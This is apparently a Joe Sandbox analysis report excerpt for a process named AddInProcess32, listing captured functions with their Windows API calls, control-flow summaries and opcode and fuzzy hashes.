                                                              • OleInitialize.OLE32(00000000), ref: 01798B9D
                                                              Memory Dump Source
                                                              • Source File: 00000007.00000002.1852037279.0000000001790000.00000040.00000800.00020000.00000000.sdmp, Offset: 01790000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_7_2_1790000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Initialize
                                                              • String ID:
                                                              • API String ID: 2538663250-0
                                                              • Opcode ID: 6a7a5e9486583157ccaf541757b28669961f66a543ed3b4c4bbdbec192ff3a2d
                                                              • Instruction ID: 0ba154e944a03e97d36b67388a86fe4d516612ef77488183f446677a9fd703a4
                                                              • Opcode Fuzzy Hash: 6a7a5e9486583157ccaf541757b28669961f66a543ed3b4c4bbdbec192ff3a2d
                                                              • Instruction Fuzzy Hash: 511122B59002499FCB20DFAAE485BCEFBF8EB49324F248459D518A7310D335A944CFA6
                                                              Function 01798010 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 570 1798010-1798baa OleInitialize 573 1798bac-1798bb2 570->573 574 1798bb3-1798bd0 570->574 573->574
                                                              APIs
                                                              • OleInitialize.OLE32(00000000), ref: 01798B9D
                                                              Memory Dump Source
                                                              • Source File: 00000007.00000002.1852037279.0000000001790000.00000040.00000800.00020000.00000000.sdmp, Offset: 01790000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_7_2_1790000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Initialize
                                                              • String ID:
                                                              • API String ID: 2538663250-0
                                                              • Opcode ID: 382668f4e71043838219da3b4c0dfe72f6ea623ba6ebbd2ade1f3a884d87afc8
                                                              • Instruction ID: 7800b6d295e6ac89049ec57b8e919d6feaa933e5abc1e33424a351975e389b2e
                                                              • Opcode Fuzzy Hash: 382668f4e71043838219da3b4c0dfe72f6ea623ba6ebbd2ade1f3a884d87afc8
                                                              • Instruction Fuzzy Hash: 831100B59003488FCB20DF9AE549BDEFBF8EB48324F24846AD559A7310C375A944CFA5
                                                              Function 01798B9B Relevance: 1.5, APIs: 1, Instructions: 20comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 577 1798b9b-1798baa OleInitialize 578 1798bac-1798bb2 577->578 579 1798bb3-1798bd0 577->579 578->579
                                                              APIs
                                                              • OleInitialize.OLE32(00000000), ref: 01798B9D
                                                              Memory Dump Source
                                                              • Source File: 00000007.00000002.1852037279.0000000001790000.00000040.00000800.00020000.00000000.sdmp, Offset: 01790000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_7_2_1790000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Initialize
                                                              • String ID:
                                                              • API String ID: 2538663250-0
                                                              • Opcode ID: b0330ac95264833217efbcd91afa66e934d0d05b6839224a00abb1d15ce728c3
                                                              • Instruction ID: 11559e616f21aca16c67122451c1c0e0e723b3c42c07112814a37b55853f76cd
                                                              • Opcode Fuzzy Hash: b0330ac95264833217efbcd91afa66e934d0d05b6839224a00abb1d15ce728c3
                                                              • Instruction Fuzzy Hash: 97E08C729003048EDF20ABADE4083CDFBE09F85324F28849AC159D7221C6799588CB91
                                                              Function 016FD4D8 Relevance: .1, Instructions: 75COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000007.00000002.1851358881.00000000016FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016FD000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_7_2_16fd000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 451d4af4b276ce4e13e375a84d5882de2018f569d3d64a30b8106d77b5cf13a1
                                                              • Instruction ID: 209913353d58c563663698ff03235ac47a8ccf4415f342c703b0dc7d1af543e4
                                                              • Opcode Fuzzy Hash: 451d4af4b276ce4e13e375a84d5882de2018f569d3d64a30b8106d77b5cf13a1
                                                              • Instruction Fuzzy Hash: 84212571504204DFDB05DF98DDC8B2ABFA5FB88318F20C16DEA094B356C336E456CAA2
                                                              Function 016FD4D3 Relevance: .1, Instructions: 56COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000007.00000002.1851358881.00000000016FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016FD000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_7_2_16fd000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                              • Instruction ID: ab27219482608ce58d365e9e5a37e719f4bf5ef931d2964013fa43f5fb31214e
                                                              • Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                              • Instruction Fuzzy Hash: 0311AF76504240DFDB16CF54D9C4B16BF71FB94318F24C6ADD9090B256C33AE45ACBA2

                                                              Execution Graph

                                                              Execution Coverage:10.3%
                                                              Dynamic/Decrypted Code Coverage:100%
                                                              Signature Coverage:0%
                                                              Total number of Nodes:42
                                                              Total number of Limit Nodes:6
                                                              execution_graph 8351 1218120 DuplicateHandle 8352 12181b6 8351->8352 8353 1217ad0 8354 1217b16 GetCurrentProcess 8353->8354 8356 1217b61 8354->8356 8357 1217b68 GetCurrentThread 8354->8357 8356->8357 8358 1217ba5 GetCurrentProcess 8357->8358 8359 1217b9e 8357->8359 8360 1217bdb 8358->8360 8359->8358 8361 1217c03 GetCurrentThreadId 8360->8361 8362 1217c34 8361->8362 8363 12186e8 8364 12186fd 8363->8364 8368 1218710 8364->8368 8372 1217f20 8364->8372 8367 1217f20 OleInitialize 8369 121874f 8367->8369 8369->8368 8377 1217ff4 8369->8377 8371 12187fc 8374 1217f2b 8372->8374 8373 121871e 8373->8367 8373->8368 8374->8373 8375 1217ff4 OleInitialize 8374->8375 8376 12187fc 8375->8376 8379 1217fff 8377->8379 8378 1218b13 8378->8371 8379->8378 8381 1218010 8379->8381 8382 1218b48 OleInitialize 8381->8382 8383 1218bac 8382->8383 8383->8378 8384 1210848 8385 1210852 8384->8385 8387 12121a0 8384->8387 8388 12121c5 8387->8388 8392 12122b0 8388->8392 8396 121229f 8388->8396 8394 12122d7 8392->8394 8393 12123b4 8393->8393 8394->8393 8400 1211f0c 8394->8400 8398 12122d7 8396->8398 8397 12123b4 8397->8397 8398->8397 8399 1211f0c CreateActCtxA 8398->8399 8399->8397 8401 1213340 CreateActCtxA 8400->8401 8403 1213403 8401->8403

                                                              Executed Functions

                                                              Function 01217AA8 Relevance: 6.1, APIs: 4, Instructions: 143threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 528 1217aa8-1217b5f GetCurrentProcess 534 1217b61-1217b67 528->534 535 1217b68-1217b9c GetCurrentThread 528->535 534->535 536 1217ba5-1217bd9 GetCurrentProcess 535->536 537 1217b9e-1217ba4 535->537 538 1217be2-1217bfd call 12180a8 536->538 539 1217bdb-1217be1 536->539 537->536 543 1217c03-1217c32 GetCurrentThreadId 538->543 539->538 544 1217c34-1217c3a 543->544 545 1217c3b-1217c9d 543->545 544->545
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 01217B4E
                                                              • GetCurrentThread.KERNEL32 ref: 01217B8B
                                                              • GetCurrentProcess.KERNEL32 ref: 01217BC8
                                                              • GetCurrentThreadId.KERNEL32 ref: 01217C21
                                                              Memory Dump Source
                                                              • Source File: 00000009.00000002.1852134071.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_9_2_1210000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: cf6ddb4378df66965dbceb60864e9a80cb44f8e879ff7a9f3227d26ffe852de2
                                                              • Instruction ID: 5cbea05a331369fed5e95336f04bbdb82889220e8925fae56c8a5be16576376d
                                                              • Opcode Fuzzy Hash: cf6ddb4378df66965dbceb60864e9a80cb44f8e879ff7a9f3227d26ffe852de2
                                                              • Instruction Fuzzy Hash: 9C5185B09002498FDB18DFA9D548BDEBFF1EF88304F20845AE158A7261D7349989CF65
                                                              Function 01217AD0 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 552 1217ad0-1217b5f GetCurrentProcess 556 1217b61-1217b67 552->556 557 1217b68-1217b9c GetCurrentThread 552->557 556->557 558 1217ba5-1217bd9 GetCurrentProcess 557->558 559 1217b9e-1217ba4 557->559 560 1217be2-1217bfd call 12180a8 558->560 561 1217bdb-1217be1 558->561 559->558 565 1217c03-1217c32 GetCurrentThreadId 560->565 561->560 566 1217c34-1217c3a 565->566 567 1217c3b-1217c9d 565->567 566->567
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 01217B4E
                                                              • GetCurrentThread.KERNEL32 ref: 01217B8B
                                                              • GetCurrentProcess.KERNEL32 ref: 01217BC8
                                                              • GetCurrentThreadId.KERNEL32 ref: 01217C21
                                                              Memory Dump Source
                                                              • Source File: 00000009.00000002.1852134071.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_9_2_1210000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: 75c6c6bf5dbc0a627f1a073cd956d54363690d7b77f550fb6533e24a21083ed9
                                                              • Instruction ID: 51d5efbb8962a290cdbe19a45f5ed4c059b4a98935c8874de21c0d8d24b20a84
                                                              • Opcode Fuzzy Hash: 75c6c6bf5dbc0a627f1a073cd956d54363690d7b77f550fb6533e24a21083ed9
                                                              • Instruction Fuzzy Hash: D95155B09103498FDB18DFAAD548B9EBBF1FF88314F208459E119A7364DB34A984CF65
                                                              Function 01211F0C Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 757 1211f0c-1213401 CreateActCtxA 760 1213403-1213409 757->760 761 121340a-1213464 757->761 760->761 768 1213473-1213477 761->768 769 1213466-1213469 761->769 770 1213479-1213485 768->770 771 1213488 768->771 769->768 770->771 773 1213489 771->773 773->773
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 012133F1
                                                              Memory Dump Source
                                                              • Source File: 00000009.00000002.1852134071.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_9_2_1210000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: 16f3d39bfb0c1a66cf59dcf3d5a5225e6eb42d93cefc402a75bb7b307e3acce0
                                                              • Instruction ID: 6c1a166ecdf4d37b1407e535664df0075fa64154b4fa29e174db8b73ad8393ab
                                                              • Opcode Fuzzy Hash: 16f3d39bfb0c1a66cf59dcf3d5a5225e6eb42d93cefc402a75bb7b307e3acce0
                                                              • Instruction Fuzzy Hash: C341DFB0C1061DCBDB24CFAAC844B9EBBF6FF49314F24806AD508AB255DBB56945CF90
                                                              Function 01213336 Relevance: 1.6, APIs: 1, Instructions: 94COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 774 1213336-1213401 CreateActCtxA 776 1213403-1213409 774->776 777 121340a-1213464 774->777 776->777 784 1213473-1213477 777->784 785 1213466-1213469 777->785 786 1213479-1213485 784->786 787 1213488 784->787 785->784 786->787 789 1213489 787->789 789->789
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 012133F1
                                                              Memory Dump Source
                                                              • Source File: 00000009.00000002.1852134071.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_9_2_1210000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: 043305435b5c87ef6d6a9fda86b4d69aed7be15313107f18357967904e5608e3
                                                              • Instruction ID: 0af9fc3f05344c5cfbbb2d4a1845298083bd35c5fe671f9862fab94508d346bf
                                                              • Opcode Fuzzy Hash: 043305435b5c87ef6d6a9fda86b4d69aed7be15313107f18357967904e5608e3
                                                              • Instruction Fuzzy Hash: 7B41E0B0C10619CFDB24CFA9C844B9EBBF6FF49314F24806AD508AB255DBB56945CF90
                                                              Function 01218118 Relevance: 1.6, APIs: 1, Instructions: 63COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 790 1218118-12181b4 DuplicateHandle 791 12181b6-12181bc 790->791 792 12181bd-12181da 790->792 791->792
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 012181A7
                                                              Memory Dump Source
                                                              • Source File: 00000009.00000002.1852134071.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_9_2_1210000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID:
                                                              • API String ID: 3793708945-0
                                                              • Opcode ID: 40bd8fed0b0133b1dc06095ac915b5b839d75fcfb57c86dc94070e73437d6926
                                                              • Instruction ID: abfb6f0c52ea915f6231af5d4d1aa05bfa66684e2ed5e04712405630cb8704ce
                                                              • Opcode Fuzzy Hash: 40bd8fed0b0133b1dc06095ac915b5b839d75fcfb57c86dc94070e73437d6926
                                                              • Instruction Fuzzy Hash: 0A2112B5D002599FDB10CFAAD884AEEBFF5EB48320F14841AE958A3351C375A941CFA0
                                                              Function 01218120 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 795 1218120-12181b4 DuplicateHandle 796 12181b6-12181bc 795->796 797 12181bd-12181da 795->797 796->797
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 012181A7
                                                              Memory Dump Source
                                                              • Source File: 00000009.00000002.1852134071.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_9_2_1210000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID:
                                                              • API String ID: 3793708945-0
                                                              • Opcode ID: 17d1e6a7b2a9b2584fe557fb4f6e160505b8e528d4c7c0cc5d8371ddfd446bdf
                                                              • Instruction ID: cd78b8794d0bddead5bccb1fb18445e27ae30fdf0acc3766971809894ab41e13
                                                              • Opcode Fuzzy Hash: 17d1e6a7b2a9b2584fe557fb4f6e160505b8e528d4c7c0cc5d8371ddfd446bdf
                                                              • Instruction Fuzzy Hash: 5721E4B59002589FDB10CFAAD984ADEBFF5EB48320F14841AE918A3310C374A940CFA5
                                                              Function 01218B40 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 800 1218b40-1218b46 801 1218b48-1218baa OleInitialize 800->801 802 1218bb3-1218bd0 801->802 803 1218bac-1218bb2 801->803 803->802
                                                              APIs
                                                              • OleInitialize.OLE32(00000000), ref: 01218B9D
                                                              Memory Dump Source
                                                              • Source File: 00000009.00000002.1852134071.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_9_2_1210000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Initialize
                                                              • String ID:
                                                              • API String ID: 2538663250-0
                                                              • Opcode ID: 541f2d301887e43c4502a6fafb8d65cf5fb4ccdbfb0d28de08a6640aff45276c
                                                              • Instruction ID: 86e62babf083286f7fd33b0be8fec65636c6cc7f7e276dbb354812a2184f5b79
                                                              • Opcode Fuzzy Hash: 541f2d301887e43c4502a6fafb8d65cf5fb4ccdbfb0d28de08a6640aff45276c
                                                              • Instruction Fuzzy Hash: 321133B1D002499FCB20DFAAD585BCEBBF8EB48320F208459D518A7210D775A944CFA5
                                                              Function 01218010 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 806 1218010-1218baa OleInitialize 808 1218bb3-1218bd0 806->808 809 1218bac-1218bb2 806->809 809->808
                                                              APIs
                                                              • OleInitialize.OLE32(00000000), ref: 01218B9D
                                                              Memory Dump Source
                                                              • Source File: 00000009.00000002.1852134071.0000000001210000.00000040.00000800.00020000.00000000.sdmp, Offset: 01210000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_9_2_1210000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Initialize
                                                              • String ID:
                                                              • API String ID: 2538663250-0
                                                              • Opcode ID: 28f6ad31fd8b34b54f617afffe6b62b67b7524e8578a01dd81c504bd633d3cda
                                                              • Instruction ID: c0e0e9ab57035f2bd9307a3658d93196e23e6ac66eabce942645bdb1e45a7c93
                                                              • Opcode Fuzzy Hash: 28f6ad31fd8b34b54f617afffe6b62b67b7524e8578a01dd81c504bd633d3cda
                                                              • Instruction Fuzzy Hash: 631115B19103488FCB20DF9AD585BDEFBF4EB58320F108459E519A7310D374AA44CFA5
                                                              Function 00EDD4D8 Relevance: .1, Instructions: 75COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000009.00000002.1848701732.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_9_2_edd000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: a54d46dfe6bc88e722931e7caf5bce75866bf7b968af1dbce2400fdd6a830845
                                                              • Instruction ID: e84e441f316165012c0833160682ddf6e35caa88d19b24b46f1a07aff75724e6
                                                              • Opcode Fuzzy Hash: a54d46dfe6bc88e722931e7caf5bce75866bf7b968af1dbce2400fdd6a830845
                                                              • Instruction Fuzzy Hash: 25212571508204DFCB05DF14EDC0B26BFA5FB98328F20816AE9095B356C336D857CBA2
                                                              Function 00EDD4D3 Relevance: .1, Instructions: 56COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000009.00000002.1848701732.0000000000EDD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00EDD000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_9_2_edd000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                              • Instruction ID: e49cd83dbac313f87d7ec73ff074472c52ed196b2114ef166aa77b5d0588a42e
                                                              • Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
                                                              • Instruction Fuzzy Hash: 2711D376504240DFCB16CF14E9C4B16BF71FB94328F24C6AAD9090B356C33AD85ACBA1

                                                              Execution Graph

                                                              Execution Coverage:10.6%
                                                              Dynamic/Decrypted Code Coverage:100%
                                                              Signature Coverage:0%
                                                              Total number of Nodes:44
                                                              Total number of Limit Nodes:6
                                                              execution_graph 8149 22a9fb8 CloseHandle 8150 22aa01f 8149->8150 8151 22a86e8 8152 22a86fd 8151->8152 8156 22a8710 8152->8156 8160 22a7f20 8152->8160 8155 22a7f20 OleInitialize 8157 22a874f 8155->8157 8157->8156 8165 22a7ff4 8157->8165 8159 22a87fc 8162 22a7f2b 8160->8162 8161 22a871e 8161->8155 8161->8156 8162->8161 8163 22a7ff4 OleInitialize 8162->8163 8164 22a87fc 8163->8164 8166 22a7fff 8165->8166 8167 22a8b13 8166->8167 8169 22a8010 8166->8169 8167->8159 8170 22a8b48 OleInitialize 8169->8170 8171 22a8bac 8170->8171 8171->8167 8172 22a0848 8173 22a0852 8172->8173 8175 22a21a0 8172->8175 8176 22a21c5 8175->8176 8180 22a229f 8176->8180 8184 22a22b0 8176->8184 8181 22a22d7 8180->8181 8182 22a23b4 8181->8182 8188 22a1f0c 8181->8188 8185 22a22d7 8184->8185 8186 22a23b4 8185->8186 8187 22a1f0c CreateActCtxA 8185->8187 8187->8186 8189 22a3340 CreateActCtxA 8188->8189 8191 22a3403 8189->8191 8192 22a8120 DuplicateHandle 8193 22a81b6 8192->8193 8194 22a7ad0 8195 22a7b16 GetCurrentProcess 8194->8195 8197 22a7b68 GetCurrentThread 8195->8197 8198 22a7b61 8195->8198 8199 22a7b9e 8197->8199 8200 22a7ba5 GetCurrentProcess 8197->8200 8198->8197 8199->8200 8201 22a7bdb 8200->8201 8202 22a7c03 GetCurrentThreadId 8201->8202 8203 22a7c34 8202->8203

                                                              Executed Functions

                                                              Function 022A7AA8 Relevance: 6.1, APIs: 4, Instructions: 140threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 527 22a7aa8-22a7b5f GetCurrentProcess 533 22a7b68-22a7b9c GetCurrentThread 527->533 534 22a7b61-22a7b67 527->534 535 22a7b9e-22a7ba4 533->535 536 22a7ba5-22a7bd9 GetCurrentProcess 533->536 534->533 535->536 537 22a7bdb-22a7be1 536->537 538 22a7be2-22a7bfd call 22a80a8 536->538 537->538 542 22a7c03-22a7c32 GetCurrentThreadId 538->542 543 22a7c3b-22a7c9d 542->543 544 22a7c34-22a7c3a 542->544 544->543
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 022A7B4E
                                                              • GetCurrentThread.KERNEL32 ref: 022A7B8B
                                                              • GetCurrentProcess.KERNEL32 ref: 022A7BC8
                                                              • GetCurrentThreadId.KERNEL32 ref: 022A7C21
                                                              Memory Dump Source
                                                              • Source File: 0000000A.00000002.1925892018.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_10_2_22a0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: f7e947a13d60ec0b03d65a3b567ece5feb512006405bb5d805b6f8e5d5c524a8
                                                              • Instruction ID: 6c342a8dc488ef2243dd66d0244d79a1425379a7e89d89ca3b203e6904c5fb5e
                                                              • Opcode Fuzzy Hash: f7e947a13d60ec0b03d65a3b567ece5feb512006405bb5d805b6f8e5d5c524a8
                                                              • Instruction Fuzzy Hash: D85198B09113498FDB04DFA9D548BDEFBF1AF48304F2084A9D148AB2A1DB349844CF69
                                                              Function 022A7AD0 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 551 22a7ad0-22a7b5f GetCurrentProcess 555 22a7b68-22a7b9c GetCurrentThread 551->555 556 22a7b61-22a7b67 551->556 557 22a7b9e-22a7ba4 555->557 558 22a7ba5-22a7bd9 GetCurrentProcess 555->558 556->555 557->558 559 22a7bdb-22a7be1 558->559 560 22a7be2-22a7bfd call 22a80a8 558->560 559->560 564 22a7c03-22a7c32 GetCurrentThreadId 560->564 565 22a7c3b-22a7c9d 564->565 566 22a7c34-22a7c3a 564->566 566->565
                                                              APIs
                                                              • GetCurrentProcess.KERNEL32 ref: 022A7B4E
                                                              • GetCurrentThread.KERNEL32 ref: 022A7B8B
                                                              • GetCurrentProcess.KERNEL32 ref: 022A7BC8
                                                              • GetCurrentThreadId.KERNEL32 ref: 022A7C21
                                                              Memory Dump Source
                                                              • Source File: 0000000A.00000002.1925892018.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_10_2_22a0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Current$ProcessThread
                                                              • String ID:
                                                              • API String ID: 2063062207-0
                                                              • Opcode ID: 46594c48da078bac82a7c27ae1579c550c4db4f4788f7c6d98a57a4f7fd8e725
                                                              • Instruction ID: 924ddc8dfffe4b4cd579c47f23261e0a4f1a55674867b4377074c578c645d6dc
                                                              • Opcode Fuzzy Hash: 46594c48da078bac82a7c27ae1579c550c4db4f4788f7c6d98a57a4f7fd8e725
                                                              • Instruction Fuzzy Hash: 4F5156B09112098FDB44DFA9D548BDEFBF1AF48314F20C469E119A7360D734A944CF69
                                                              Function 022A8118 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 595 22a8118-22a81b4 DuplicateHandle 596 22a81bd-22a81da 595->596 597 22a81b6-22a81bc 595->597 597->596
                                                              APIs
                                                              • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 022A81A7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 0000000A.00000002.1925892018.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_10_2_22a0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: DuplicateHandle
                                                              • String ID: W
                                                              • API String ID: 3793708945-655174618
                                                              • Opcode ID: 481c54ba40689824b769e70efac6e8b65df6e705682ea1548ac721dca45eb123
                                                              • Instruction ID: 18a3915deb5b71774ae66bbf11e6517d7f4a84f1930036f812c605cfb8bbe7e1
                                                              • Opcode Fuzzy Hash: 481c54ba40689824b769e70efac6e8b65df6e705682ea1548ac721dca45eb123
                                                              • Instruction Fuzzy Hash: 9721E0B5D00219DFDB10CFAAD984ADEFBF4EB48320F14845AE958A7260D374A944CF65
                                                              Function 022A3337 Relevance: 1.6, APIs: 1, Instructions: 101COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 764 22a3337-22a3339 765 22a333b-22a3401 CreateActCtxA 764->765 766 22a32be-22a32cc call 22a32d1 764->766 769 22a340a-22a3464 765->769 770 22a3403-22a3409 765->770 766->764 777 22a3473-22a3477 769->777 778 22a3466-22a3469 769->778 770->769 779 22a3488 777->779 780 22a3479-22a3485 777->780 778->777 782 22a3489 779->782 780->779 782->782
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 022A33F1
                                                              Memory Dump Source
                                                              • Source File: 0000000A.00000002.1925892018.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_10_2_22a0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: a9fa0b00570700e894bd79ffb48dcb1e215fc421f1e36ba3fbec9bb0d6cccf3b
                                                              • Instruction ID: 0aecbe47ee654b9fa60f3d12962f60169a5d45771ccc621fca408eaefeeb7111
                                                              • Opcode Fuzzy Hash: a9fa0b00570700e894bd79ffb48dcb1e215fc421f1e36ba3fbec9bb0d6cccf3b
                                                              • Instruction Fuzzy Hash: 6041F4B0C10619CFDB24CFA9C8947DEFBB5BF49304F2080AAD409AB255DB755946CF90
                                                              Function 022A1F0C Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                              Download Yara Rule

                                                              Control-flow Graph

                                                              • Executed
                                                              • Not Executed
                                                              control_flow_graph 783 22a1f0c-22a3401 CreateActCtxA 786 22a340a-22a3464 783->786 787 22a3403-22a3409 783->787 794 22a3473-22a3477 786->794 795 22a3466-22a3469 786->795 787->786 796 22a3488 794->796 797 22a3479-22a3485 794->797 795->794 799 22a3489 796->799 797->796 799->799
                                                              APIs
                                                              • CreateActCtxA.KERNEL32(?), ref: 022A33F1
                                                              Memory Dump Source
                                                              • Source File: 0000000A.00000002.1925892018.00000000022A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_10_2_22a0000_AddInProcess32.jbxd
                                                              Similarity
                                                              • API ID: Create
                                                              • String ID:
                                                              • API String ID: 2289755597-0
                                                              • Opcode ID: ace2e118ea3d29f64d82854eb4705820774fc1daaab37ab29751f58764577e22
                                                              • Instruction ID: 51984ad1d8ab4353d0d2ced81bb95684a0fd8d0ac8a0596b511025bc4ccf0779
